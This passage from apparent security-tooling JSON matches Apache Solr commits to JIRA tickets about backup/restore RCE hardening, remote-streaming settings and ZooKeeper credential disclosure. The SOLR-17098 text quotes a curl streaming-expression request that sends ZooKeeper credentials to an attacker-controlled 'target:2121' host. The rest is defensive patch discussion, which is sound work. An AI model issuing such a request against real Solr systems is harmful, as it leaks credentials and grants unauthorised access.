require the installer user, the one who can configure solr.xml & startup, to choose the allowList paths that are okay. \u00a0A similar mindset for file extensions if we want to block based on them. RE back-combat; IMO it's reasonable to require that an upgrading user further specify certain startup/solr.xml options that didn't exist before, in the name of security. \u00a0Perhaps some good defaults could mean no action is necessary for some users. \u00a0Maybe \"/var\" is pre-approved. \u00a0Maybe furthermore we shouldn't load libs from a \"/var\" path unless the configuration is explicit about using such a path. \u00a0Just brainstorming a bit. I don't think it hurts to add multiple layers of security. However, the root cause of this issue is that it is even allowed to define a file-system backup outside of the \"location\" that is defined in solr.xml as the backup repository location, see https://solr.apache.org/guide/solr/latest/deployment-guide/backup-restore.html#localfilesystemrepository What if we modified the LocalFileSystemRepository to restrict the backup location to be within the statically configured location? Then attackers whould need to figure out how to add that admin-decided location to classpath, or to create a core inside that location. Or something else. /solr/backup_data If we protect certain paths but forget one, is that then CVE worthy? With two layers of protection, I think we'd be pretty safe from having to issue another CVE, but obviously there is always the possibility. I'd argue instead that we should require the installer user, the one who can configure solr.xml & startup, to choose the allowList paths that are okay. The \"allowBackupPath\" you suggest is really close to the \"allowPaths\" logic we already have, however it really just adds \"SOLR_HOME\", \"SOLR_DATA_HOME\" and \"coreRootDirectory\". \"SOLR_DATA_HOME\" is fine, no libraries are loaded from there. \"SOLR_HOME\" has \"SOLR_HOME/lib\" and \"coreRootDirectory\" has \"coreRootDirectory/lib\". Lastly, \"sharedLib\" might be included under \"allowPaths\", so we can forbid that just for the sake of being cautious. The other logic in the protections merely exist to be extra cautious. Basically this is one less configuration a user needs to care about, but adds extra checks to make sure they can't shoot themselves in the foot. (e.g. even if the \"allowBackupPath\" option existed, they could set it to a folder that included their SOLR_HOME, which would make them vulnerable) That's basically what this PR is, although extra protected paths have been added just to be extra cautious RE back-combat; IMO it's reasonable to require that an upgrading user further specify certain startup/solr.xml options that didn't exist before, in the name of security. I agree for a minor version, but this would be a fairly big change for users in a patch change, especially when there are options that aren't back-compat breaking. Users using an \"8.11\" docker image, to auto-receive security updates, would see their backups start failing automatically. Perhaps some good defaults could mean no action is necessary for some users. \u00a0Maybe \"/var\" is pre-approved. I don't like the ideas of defaults when Solr has no guidelines for how a filesystem should be setup. Using \"/var\" as a default wouldn't work because the SOLR_HOME/lib and SOLR_CORE/lib could easily be under \"/var\", like they are in the Docker image. Looks good Jan. And maybe the \"slipper slope\" metaphor isn't the right metaphor Jan, I think making the location required going forward is a good idea. And all paths provided in the API would need to be relative to that location (without \"../\"). But I think for 8.11 at least (and probably 9.4.1), we would need to protect without making \"location\" mandatory. (As I've mentioned before). Did some basic cleanup of the 8.11 patch, added some javadoc, when traversing folders, skip only \".\" and \"..\", not every folder starting with a \".\". Ran \"ant precommit\". Do you have a suggestion for CHANGES.txt entry and JIRA number to use? Looks good to me Jan. I would use this JIRA. And something simple like \"Restrict certain file types from being uploaded with or downloaded from Config Sets.\" Pushed to branch_8_11 in https://github.com/apache/lucene-solr/commit/7e9a2e67f812032a049836c3aa0b18bf5cd717f9 I have updated the patch for main branch with latest updates from 8.11 patch: SOLR-16949.patch Precommit passes and I am ready to merge. Do we want to avoid the extra publicity that a PR gives, by pushing directly from the command line? If so, I'm grateful for a patch review of the updated patch. Note: I kept the patch from SOLR-16480 intact, but we could do another JIRA to remove that filename-suffix feature from main branch after this has landed. That patch for main looks good to me Jan, I would push directly to main (and backport of course) without PRs. As for SOLR-16480 , I do think we should have a Jira to remove that in main, after this has landed. main: https://github.com/apache/solr/commit/15534754f492079e52288dd11abaf1c4261b3ea4 branch_9x: https://github.com/apache/solr/commit/644dd3a6d6780d71030f7070754d2f3adce22859 branch_9_4: https://github.com/apache/solr/commit/ad6854b04361e351e08aa8f39fb7ff0e8fedc9a2 There's some local (and Jenkins) test failures that look related to this change, particularly in TestConfigSetService and TestFileSystemConfigSetService. See this Jenkins build for an example. (I've also attached the Jenkins logs, so they're preserved after our build-retention rolls over.) jenkins.log.txt.gz At a glance it looks like the problem is that this change introduces some InputStream leaks ] in our ConfigSet code. Seems like a simple-ish fix? I suspect one of you guys might already be aware of this and working on a fix, and I don't want to duplicate effort. But if you aren't already on it, lmk and I can toss a fix together. Yea, looks like some careless stream handling there. Taking a look. Fix in SOLR-16949-inputstream-leaks.patch . This patch passes Path objects instead of InputStream and also uses the File and byte[] methods of SimpleMagic library instead of always converting to InputStream. Also streamlines tests with try-with-resources. I ran the entire test suite locally, so committed right away: main: https://github.com/apache/solr/commit/c89813a675663bb82f18236840b2a84cac05e1ee branch_9x: https://github.com/apache/solr/commit/c79011e81dada2f9bc4b4df32ffb32152ef81152 branch_9_4: https://github.com/apache/solr/commit/ce2813c97f70b5e83ece80455aad74a1fd7eeca6 A belated LGTM on the resource-leak fix; thanks Jan! Yep, looks good. Doesn't look like branch_8_11 code is directly using the same code, except some tests that may be leaking streams. I'll have a look at pushing a patch to that branch too. Backport of inputstream handling to branch_8_11: https://github.com/apache/lucene-solr/commit/6c8f24eb9e3fe1cb19058173f2e221de3febfeda Closing after the 9.4.1 release" + }, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + }, + { + "id": "XREF_BUG", + "message": "The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-16949", + "relevance": 32 + }, + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: ZooKeeper, Solr", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/core/ivy.xml, solr/core/src/java/org/apache/solr/util/SolrCLI.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkMaintenanceUtils.java, solr/core/src/resources/magic/executables, solr/core/src/java/org/apache/solr/core/backup/BackupManager.java, solr/core/src/test-files/magic/HelloWorldJavaClass.class.bin, solr/core/src/test-files/magic/hello.tar.bin, solr/licenses/simplemagic-1.17.jar.sha1, solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java, solr/core/src/java/org/apache/solr/handler/admin/ConfigSetsHandler.java", + "relevance": 8 + }, + { + "id": "SEC_KEYWORDS_IN_LINKED_BUG", + "message": "The bug tracking ticket SOLR-16949 contains some security-related terms: hardening, security, vulnerable, rce", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: version, handler", + "relevance": 4 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-16949", + "relevance": 2 + } + ] + }, + { + "commit_id": "6e2272c4ccc3513d452a4f6bf6dc9c37a344e71c", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1683739618, + "hunks": 38, + "message": "SOLR-14853: enableRemoteStreaming and enableStreamBody are now global (#1615) Env vars: SOLR_ENABLE_REMOTE_STREAMING and SOLR_ENABLE_STREAM_BODY Sys props: solr.enableRemoteStreaming and solr.enableStreamBody solrconfig.xml (including via config-edit API) are now no-op; log a warning. Backwards incompatible but easy to comply. Co-authored-by: Jan H\u00c3\u00b8ydahl --------- Signed-off-by: Jan H\u00c3\u00b8ydahl Co-authored-by: Jan H\u00c3\u00b8ydahl ", + "changed_files": [ + "solr/core/src/java/org/apache/solr/core/SolrConfig.java", + "solr/core/src/java/org/apache/solr/handler/DumpRequestHandler.java", + "solr/core/src/java/org/apache/solr/servlet/SolrRequestParsers.java", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-analytics-query.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-collapseqparser.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-components-name.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-delaying-component.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-doctransformers.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-elevate.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-follower.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-follower1.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-hash.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-leader-throttled.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-leader.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-leader1-keepOneBackup.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-leader1.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-leader2.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-leader3.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-managed-schema.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-minhash.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-nocache.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-plugcollector.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-repeater.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-replication-legacy.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-schemaless.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-sql.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig-tlog.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig.xml", + "solr/core/src/test-files/solr/collection1/conf/solrconfig_perf.xml", + "solr/core/src/test-files/solr/crazy-path-to-config.xml" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-14853": "The enableRemoteStreaming option is a security risk, and so it's off by default. https://lucene.apache.org/solr/guide/8_6/content-streams.html It seems strange that an option like this is declared in solrconfig.xml (a part of the configSet) instead of being a global option. For example enable.dih.dataConfigParam is a System property. I think it's a bit of a stretch to want only some configSets to use this but not others. Make enableRemoteStreaming option global; not configSet Commit ffedc5bb680e26e48f04899aff4ff3ced7e7c143 in solr's branch refs/heads/main from David Smiley [ https://gitbox.apache.org/repos/asf?p=solr.git;h=ffedc5bb680 ] SOLR-14853 : enableRemoteStreaming and enableStreamBody are now global (#1615) Env vars: SOLR_ENABLE_REMOTE_STREAMING and SOLR_ENABLE_STREAM_BODY Sys props: solr.enableRemoteStreaming and solr.enableStreamBody solrconfig.xml (including via config-edit API) are now no-op; log a warning. Backwards incompatible but easy to comply. Co-authored-by: Jan H\u00f8ydahl --------- Signed-off-by: Jan H\u00f8ydahl Co-authored-by: Jan H\u00f8ydahl Commit 84ac989e5b2358f0c9db8fd4fbc5c5d8785e6e1c in solr's branch refs/heads/branch_9x from David Smiley [ https://gitbox.apache.org/repos/asf?p=solr.git;h=84ac989e5b2 ] SOLR-14853 : enableRemoteStreaming and enableStreamBody are now global (#1615) Env vars: SOLR_ENABLE_REMOTE_STREAMING and SOLR_ENABLE_STREAM_BODY Sys props: solr.enableRemoteStreaming and solr.enableStreamBody solrconfig.xml (including via config-edit API) are now no-op; log a warning. Backwards incompatible but easy to comply. Co-authored-by: Jan H\u00f8ydahl --------- Signed-off-by: Jan H\u00f8ydahl Co-authored-by: Jan H\u00f8ydahl Closing after the 9.3.0 release Commit 6e2272c4ccc3513d452a4f6bf6dc9c37a344e71c in lucene-solr's branch refs/heads/branch_8_11 from David Smiley [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=6e2272c4ccc ] SOLR-14853 : enableRemoteStreaming and enableStreamBody are now global (#1615) Env vars: SOLR_ENABLE_REMOTE_STREAMING and SOLR_ENABLE_STREAM_BODY Sys props: solr.enableRemoteStreaming and solr.enableStreamBody solrconfig.xml (including via config-edit API) are now no-op; log a warning. Backwards incompatible but easy to comply. Co-authored-by: Jan H\u00f8ydahl --------- Signed-off-by: Jan H\u00f8ydahl Co-authored-by: Jan H\u00f8ydahl Commit 1e5c88cbed0d7f6a5bb873d851bd58f003b94399 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=1e5c88cbed0 ] SOLR-14853 : Fix LTR test failures See dev list thread \"Sv: enableRemoteStreaming+enableStreamBody-change in Solr 8.11.3\" . Need edits to RefGuide: \"Major changes in 8.11\" section as well as anywhere else mentioning old solrconfig.xml configuration of this." + }, + "ghissue_refs": { + "1615": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: Solr", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/core/src/test-files/solr/collection1/conf/solrconfig-analytics-query.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-schemaless.xml, solr/core/src/java/org/apache/solr/servlet/SolrRequestParsers.java, solr/core/src/test-files/solr/collection1/conf/solrconfig-hash.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-repeater.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig_perf.xml, solr/core/src/java/org/apache/solr/handler/DumpRequestHandler.java, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader3.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-doctransformers.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-nocache.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader1.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-follower1.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-managed-schema.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader-throttled.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-sql.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-minhash.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-plugcollector.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-elevate.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader2.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-delaying-component.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-tlog.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-collapseqparser.xml, solr/core/src/java/org/apache/solr/core/SolrConfig.java, solr/core/src/test-files/solr/collection1/conf/solrconfig-replication-legacy.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-follower.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-leader1-keepOneBackup.xml, solr/core/src/test-files/solr/crazy-path-to-config.xml, solr/core/src/test-files/solr/collection1/conf/solrconfig-components-name.xml", + "relevance": 8 + }, + { + "id": "SEC_KEYWORDS_IN_LINKED_BUG", + "message": "The bug tracking ticket SOLR-14853 contains some security-related terms: security", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: streaming, stream, user", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: handler, request", + "relevance": 4 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-14853", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 1615", + "relevance": 2 + }, + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + } + ] + }, + { + "commit_id": "f13b6738b5b8888023dc760801b9436ee30429c5", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1705099656, + "hunks": 3, + "message": "SOLR-17098: Fix some test issues", + "changed_files": [ + "solr/solrj/src/java/org/apache/solr/client/solrj/io/SolrClientCache.java", + "solr/solrj/src/test-files/solrj/solr/solr.xml" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-17098": "Security list thread: https://lists.apache.org/thread/byrxkqk15mh6960wmx4r851srosgkvbh ZK Credentials and ACLs can be exposed to any endpoint when the Streaming Handler is used: curl --data-urlencode 'expr=search(collection1, zkHost=\"target:2121\", qt=\"/export\", q=\" : \", fl=\"id,a_s,a_i,a_f\", sort=\"a_f asc, a_i asc\")' http://localhost:8983/solr/demo/stream In the command above, if the Solr instance has any Zookeeper Credentials or ACLs provided, then that information will be sent to the \"target:2121\" address. An attacker could set up a mock Zookeeper service to obtain the credentials, and then gain access to the Solr's Zookeeper Nodes. Zookeeper Credential Information Disclosure bug via Streaming Expressions Have a patch ready to test out. It works across all uses of the SolrClientCache, so hopefully there won't be any gaps we need to plugin in the future. Thanks for working on this! Feel free to at-mention me next time. I would have responded earlier in the month. I applied the patch to IntelliJ and also ran the tests via Crave CLI invocation (all passed; 6m 43sec) CloudSolrStream: you initialize ignoreZkACLs boolean but never use it (thanks IntelliJ for pointing this out) TupleStream: can remove your only edit; it was just for a newline SolrClientCache: here you used zkHost::contains but shouldn't this be zkHost::equals ? Should match the host exactly, not partially. Thanks for finding the first two, removed both as they were from earlier implementations. The SolrClientCache used contains to make sure that other chRoots could still use the ACLs, because that's not a security issue. However yeah contains was the wrong way to do it. I changed it to \"equals\" after removing chRoots. New patch should be good to go? This works. +1 In retrospect, I don't love that this approach introduces ignoreZkACLs in a number of places; it takes some review to understand what's going on and it seems yet another small wrinkle of complexity on things. It's an exotic option. An alternative approach is to try to isolate the entire change to SolrZkClient.createZkCredentialsToAddAutomatically, where zkCredentialsProvider is loaded and is itself an exotic option as well. The zkServer would be passed in to that method. But it's unclear how that method would know if the zkServer is the one (or ones?) to which the zkCredentialsProvider applies. So a half-baked idea. Maybe it would require whatever the sys prop that identifies ZK being set and equivalent to the arg. Perhaps ZkCredentialsInjector's API (or its collaborator APIs) are missing an argument that ought to be there \u2013 the zkServer. Any way I did +1. Yeah unfortunately all of the ZkCredentialsInjector stuff is a part of SolrJ-Zookeeper, and thus doesn't really have any knowledge of the Solr Core's Zookeeper address. So we'd have to pass through that info anyways. I'll move forward so this won't block the patch releases, we can always improve it in the future. houston , anything needed to get this over the finish line? This is the only block for 9.4.1 https://issues.apache.org/jira/issues/?jql=project%20%3D%20SOLR%20AND%20resolution%20%3D%20Unresolved%20AND%20fixVersion%20%3D%209.4.1%20%20ORDER%20BY%20priority%20DESC%2C%20updated%20DESC This has been backported to 9.4.1, but it hasn't been backported to 8.11.3 yet, so it's not marked as Done. You should be good to move forward with 9.4.1 This has been backported to branch_8_11 now. All backporting should be done. Closing after the 9.4.1 release" + }, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "XREF_BUG", + "message": "The commit and the advisory (including referenced pages) mention the same bug tracking ticket: SOLR-17098", + "relevance": 32 + }, + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: Solr, zkHost", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/solrj/src/java/org/apache/solr/client/solrj/io/SolrClientCache.java, solr/solrj/src/test-files/solrj/solr/solr.xml", + "relevance": 8 + }, + { + "id": "SEC_KEYWORDS_IN_LINKED_BUG", + "message": "The bug tracking ticket SOLR-17098 contains some security-related terms: security", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: issue", + "relevance": 4 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-17098", + "relevance": 2 + } + ] + }, + { + "commit_id": "143fa6f09ac1679c690cd1657c81f87ba7f449b9", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1702480054, + "hunks": 1, + "message": "SOLR-16949: Tolerate null bytes / empty file", + "changed_files": [ + "solr/core/src/java/org/apache/solr/util/FileTypeMagicUtil.java" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-16949": "Before an 8.11.3 release, https://issues.apache.org/jira/browse/SOLR-16480 needs to be backported, thus creating this as a blocker. Here I am assuming that 8.x is vulnerable to the same attack, which should be investigated. RCE via Backup/Restore APIs - Fix for all file extensions See attached patch. It is not a back port of SOLR-16480 and is not for branch_8_11, but for main. It adds a file content MAGIC check for each location where we today call ZkMaintenanceUtils.isFileForbiddenInConfigSets() . I.e. it will peek inside each file and use \"libmagic\" style detection based on a config file in resources/magic folder. There exists thousands of matching rules for all kid of file formats (see https://github.com/file/file/tree/master/magic/Magdir ), but I copied rules for ZIP, TAR and CLASS, and made a simple regex rule for shell scripts. As an alternative to using the https://github.com/j256/simplemagic library (which is not super well maintained) would be to write our own detection rules in Java, which would not be too hard for JAR and CLASS which are the most important. This is definitely not a requirement for the change, but we should get rid of the file type extension stuff that I added in. Otherwise that looks like a really good patch, thanks for the awesome work here Jan! So we now have three options for safeguarding 8.11.3 against this attack: This patch (replacing filename suffix solution). It is way safer and I cannot think of a way an attacker could circumvent it, other than crafting a .jar or .class file that we cannot detect SOLR-16781 to feature toggle directives (keep old behavior by default) https://github.com/apache/solr/pull/2068 to feature toggle BACKUP to local file system (keep disabled by default) If we choose 1 we may not urgently need 2 or 3. But we may want to proceed with 2 for other reasons later. If we choose 2, we don't plug the hole by defualt but will need to document a recommendation to disable. If we choose 3 it will be a breaking change for users of BACKUP feature that needs to be documented. I choose Option 1 for all 8.11, 9.x, main Option 2 for 9.x, and remove in 10 If anyone wants to expedite this, feel free to grab this. I won't be able to continue until mid next week. > we should get rid of the file type extension stuff that I added in. Formally that cannot be removed until 10.0. We could document the deprecation of the extension feature together with this patch, and open a new Jira to remove the code in main. I won't be able to continue until mid next week. Would you be able to get to this soon? If so, I'll wait for you to get it in and then spin RC2. I can give backporting an attempt... Uploaded a patch for branch_8_11 SOLR-16949-8_11.patch It is based on the other patch, but with tweaks to make it fit the older codebase. As a workarodnd for the fact that the new FileTypeMagicUtil is in core and not in solrj, and therefore cannot be used by ZkMaintenanceUtils where we have methods like uploadToZK() and zkTransfer(), I added a check in SolrCLI before uploading a configset with either solr zk upconfig or solr create -c foo -d folder/. It is not perfect, but I did not want to introduce a new jar dependency to solrj, and I did not fancy writing the detectors myself. ichattopadhyaya please take it for a spin if you like. So with this we fail fast if the configSet contains a sh, zip, jar, tar or class file When uploading configset with bin/solr When uploading configset through configset API When doing backup of a collection (skip file and warn, not abort) When restoring a configset from a backup into zookeeper (skip file and warn, not abort) The patch contains some tests but not extensive integration tests here. I have run the entire test suite with ant. No refguide or CHANGES so far. When reviewing, pay special attention to Do we detect enough file tyes? Is the detection for each (especially jar) robust or can it be gamed? Should the backup/restore fail instead of just skip file and warn when an illegal file is detected? Try to customize solr.configset.upload.mimetypes.forbidden sysprop Based on review feedback I may help to refine a time or two before commit. Or feel free to revise the patch at your liking. When the 8.x patch is solid, we can update the main-branch patch with the latest changes. As a workarodnd for the fact that the new FileTypeMagicUtil is in core and not in solrj, and therefore cannot be used by ZkMaintenanceUtils where we have methods like uploadToZK() and zkTransfer(), I added a check in SolrCLI before uploading a configset with either solr zk upconfig or solr create -c foo -d folder/. It is not perfect, but I did not want to introduce a new jar dependency to solrj, and I did not fancy writing the detectors myself. This also requires direct access to ZooKeeper, so I'm not nearly as concerned. We can really only control the Solr ConfigSets API as well as any downloading of Zookeeper data to disk (Backups) Do we detect enough file tyes? Is the detection for each (especially jar) robust or can it be gamed? Maybe it would be helpful to add a second level of security here. Most of the places that would be dangerous to allow jars/class files to be backed up to are \"lib/\" directories. (/solr/lib, /solr/modules/<>/lib, /solr-home/lib, /solr-core/lib, etc) We could basically forbid saving anything to a \"lib\" folder, or to a known classloader folder (like shared-lib). Maybe it would be helpful to add a second level of security here. Most of the places that would be dangerous to allow jars/class files to be backed up to are \"lib/\" directories. (/solr/lib, /solr/modules/<>/lib, /solr-home/lib, /solr-core/lib, etc) We could basically forbid saving anything to a \"lib\" folder, or to a known classloader folder (like shared-lib). Ok I went ahead and tried this out, adding it as SOLR-16949 -main-protect-lib.patch This is independent of the other patch, but ultimately I think both should be merged. Thoughts? Thanks for review Houston. The protected lib technique is orthogonal and would definitely add another layer. Should that patch perhaps ripple down from main -> 9x -> 9.4.1 -> 8.11.3, or do\u00a0 you want to land it in 8.11.3 first? We urgently want to get 8.11.3 and 9.4.1 out the door, so I think it needs to land both places anyway. Thanks for agreeing Jan. If you have time to review, I'll make it ready for commit and then do the regular main -> 9x -> 9.4.1 -> 8.11.3 workflow. The protected path feature can be added in the open, right, as it does not reveal any undisclosed CVE to anyone, it is just an additional hardening against potential future undiscovered attacks. I'll try to review PRs. Hmm I guess, its a different way of solving the same vulnerability, so I'm not sure it can be done openly. Happy to make a public JIRA/PR if y'all think its ok. Added more tests, and fixed something that the tests found. It should be close to ready I think. I'm trying to get up to speed on what's happening here and I'm confused. \u00a0If the problem relates to being able to tell Solr to backup stuff to locations that shouldn't be (i.e. to places inside Solr), can't we have a simple allowList approach? \u00a0Maybe the parent issue SOLR-16480 is what matters and not this backport one? \u00a0I see my \"slippery slope\" comment there and it really still resonates me... we are going down a slippery slope alright. I'd appreciate it if you would expand on \"slippery slope\" when you use that phrase. I don't think having a list of \"protected paths\" that don't allow writes is anything crazy. I also think limiting the file types that we allow in configSets is perfectly acceptable. I have no issue with also adding an \"allowList\" for backups. The big difference being that this is back-compat for good-faith users for 9x and 8.11, whereas allowList wouldn't be. The slippery slope is a cat & mouse game with someone who observes these... what I consider band-aids, and sees something we missed, and this continues. \u00a0If we protect certain paths but forget one, is that then CVE worthy? \u00a0I'd argue instead that we should require the installer user, the one who can configure solr.xml & startup, to choose the allowList paths that are okay. \u00a0A similar mindset for file extensions if we want to block based on them. RE back-combat; IMO it's reasonable to require that an upgrading user further specify certain startup/solr.xml options that didn't exist before, in the name of security. \u00a0Perhaps some good defaults could mean no action is necessary for some users. \u00a0Maybe \"/var\" is pre-approved. \u00a0Maybe furthermore we shouldn't load libs from a \"/var\" path unless the configuration is explicit about using such a path. \u00a0Just brainstorming a bit. I don't think it hurts to add multiple layers of security. However, the root cause of this issue is that it is even allowed to define a file-system backup outside of the \"location\" that is defined in solr.xml as the backup repository location, see https://solr.apache.org/guide/solr/latest/deployment-guide/backup-restore.html#localfilesystemrepository What if we modified the LocalFileSystemRepository to restrict the backup location to be within the statically configured location? Then attackers whould need to figure out how to add that admin-decided location to classpath, or to create a core inside that location. Or something else. /solr/backup_data If we protect certain paths but forget one, is that then CVE worthy? With two layers of protection, I think we'd be pretty safe from having to issue another CVE, but obviously there is always the possibility. I'd argue instead that we should require the installer user, the one who can configure solr.xml & startup, to choose the allowList paths that are okay. The \"allowBackupPath\" you suggest is really close to the \"allowPaths\" logic we already have, however it really just adds \"SOLR_HOME\", \"SOLR_DATA_HOME\" and \"coreRootDirectory\". \"SOLR_DATA_HOME\" is fine, no libraries are loaded from there. \"SOLR_HOME\" has \"SOLR_HOME/lib\" and \"coreRootDirectory\" has \"coreRootDirectory/lib\". Lastly, \"sharedLib\" might be included under \"allowPaths\", so we can forbid that just for the sake of being cautious. The other logic in the protections merely exist to be extra cautious. Basically this is one less configuration a user needs to care about, but adds extra checks to make sure they can't shoot themselves in the foot. (e.g. even if the \"allowBackupPath\" option existed, they could set it to a folder that included their SOLR_HOME, which would make them vulnerable) That's basically what this PR is, although extra protected paths have been added just to be extra cautious RE back-combat; IMO it's reasonable to require that an upgrading user further specify certain startup/solr.xml options that didn't exist before, in the name of security. I agree for a minor version, but this would be a fairly big change for users in a patch change, especially when there are options that aren't back-compat breaking. Users using an \"8.11\" docker image, to auto-receive security updates, would see their backups start failing automatically. Perhaps some good defaults could mean no action is necessary for some users. \u00a0Maybe \"/var\" is pre-approved. I don't like the ideas of defaults when Solr has no guidelines for how a filesystem should be setup. Using \"/var\" as a default wouldn't work because the SOLR_HOME/lib and SOLR_CORE/lib could easily be under \"/var\", like they are in the Docker image. Looks good Jan. And maybe the \"slipper slope\" metaphor isn't the right metaphor Jan, I think making the location required going forward is a good idea. And all paths provided in the API would need to be relative to that location (without \"../\"). But I think for 8.11 at least (and probably 9.4.1), we would need to protect without making \"location\" mandatory. (As I've mentioned before). Did some basic cleanup of the 8.11 patch, added some javadoc, when traversing folders, skip only \".\" and \"..\", not every folder starting with a \".\". Ran \"ant precommit\". Do you have a suggestion for CHANGES.txt entry and JIRA number to use? Looks good to me Jan. I would use this JIRA. And something simple like \"Restrict certain file types from being uploaded with or downloaded from Config Sets.\" Pushed to branch_8_11 in https://github.com/apache/lucene-solr/commit/7e9a2e67f812032a049836c3aa0b18bf5cd717f9 I have updated the patch for main branch with latest updates from 8.11 patch: SOLR-16949.patch Precommit passes and I am ready to merge. Do we want to avoid the extra publicity that a PR gives, by pushing directly from the command line? If so, I'm grateful for a patch review of the updated patch. Note: I kept the patch from SOLR-16480 intact, but we could do another JIRA to remove that filename-suffix feature from main branch after this has landed. That patch for main looks good to me Jan, I would push directly to main (and backport of course) without PRs. As for SOLR-16480 , I do think we should have a Jira to remove that in main, after this has landed. main: https://github.com/apache/solr/commit/15534754f492079e52288dd11abaf1c4261b3ea4 branch_9x: https://github.com/apache/solr/commit/644dd3a6d6780d71030f7070754d2f3adce22859 branch_9_4: https://github.com/apache/solr/commit/ad6854b04361e351e08aa8f39fb7ff0e8fedc9a2 There's some local (and Jenkins) test failures that look related to this change, particularly in TestConfigSetService and TestFileSystemConfigSetService. See this Jenkins build for an example. (I've also attached the Jenkins logs, so they're preserved after our build-retention rolls over.) jenkins.log.txt.gz At a glance it looks like the problem is that this change introduces some InputStream leaks ] in our ConfigSet code. Seems like a simple-ish fix? I suspect one of you guys might already be aware of this and working on a fix, and I don't want to duplicate effort. But if you aren't already on it, lmk and I can toss a fix together. Yea, looks like some careless stream handling there. Taking a look. Fix in SOLR-16949-inputstream-leaks.patch . This patch passes Path objects instead of InputStream and also uses the File and byte[] methods of SimpleMagic library instead of always converting to 